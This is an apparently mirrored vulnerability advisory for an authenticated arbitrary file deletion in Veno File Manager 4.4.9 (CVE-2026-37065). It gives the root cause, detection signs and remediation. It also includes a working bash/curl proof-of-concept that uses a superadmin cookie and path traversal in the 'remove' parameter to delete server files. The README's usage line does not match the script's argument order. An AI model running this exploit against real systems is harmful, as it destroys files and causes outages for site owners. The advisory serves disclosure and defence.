Veno File Manager Arbitrary File Deletion (CVE-2026-37065)

by jfs-jfs · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	jfs-jfs
CVE / Advisory	CVE-2026-37065
Category	web
Severity	High
CVSS Score	Not specified in source
Status	PoC
Tags	veno-file-manager, arbitrary-file-deletion, authenticated, superadmin, cwe-22
Related	N/A

Affected Target

Field	Value
Software / System	Veno File Manager Project
Versions Affected	4.4.9
Language / Platform	Bash PoC
Authentication Required	Yes (superadmin role)
Network Access Required	Yes (HTTP to vfm-admin interface)

Summary

Veno File Manager Project 4.4.9 is vulnerable to arbitrary file deletion. An authenticated attacker with the superadmin role can send a specially crafted POST request using the remove URL parameter to control which file gets deleted, with no further validation — including the application’s own root index.php, causing a denial of service.

Vulnerability Details

Root Cause

The file-removal endpoint accepts an attacker-controlled remove parameter specifying the file to delete without restricting it to an intended directory.

Attack Vector

Authenticate as a superadmin user.
Send a crafted POST request with the remove parameter set to a path outside the intended upload directory (e.g. the application’s root index.php).
The server deletes the specified file, potentially breaking the application.

Impact

A superadmin-level authenticated attacker can delete arbitrary files on the server, up to and including core application files, causing denial of service.

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl, valid superadmin session

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <target-url> <session-cookie> <path-to-delete>

Sends the crafted POST request with the remove parameter to delete an arbitrary file on the target server.

Detection & Indicators of Compromise

Signs of compromise:

Unexpected deletion of core application files
Application outage immediately following a file-manager delete action

Remediation

Action	Detail
Primary fix	Update Veno File Manager to a version that restricts the remove parameter to the intended upload directory
Interim mitigation	Restrict superadmin account issuance; monitor file-deletion actions via the admin panel

References

Source repository

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37065 on 2026-07-05.

PoC.sh

bash raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env bash

##########################################################
########### SUPERADMIN ARBITRARY FILE DELETION ###########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker delete any php file on
# on the system.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file to delete (from
#   application root)
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-overwrite.sh <vfm cookie name> <vfm cookie value> </path/to/target without extension> <url to root of vfm installation>/"
  exit 1
fi

echo "[ STEP :: 01 ] :: Force creation of vfm-admin/_content/translations directory"
curl -X POST \
  -b "$1=$2" \
  -d "thenewlang=ca" \
  "$4/vfm-admin/index.php?section=translations&action=update" &>/dev/null
echo "[ STEP :: 01 ] :: DONE"

echo "[ STEP :: 02 ] :: Delete the file"
curl -X POST \
  -b "$1=$2" \
  "$4/vfm-admin/index.php?section=translations&action=update&remove=../../../$3" &>/dev/null
echo "[ STEP :: 02 ] :: DONE"

echo "Deleted file at :: $4/$3.php"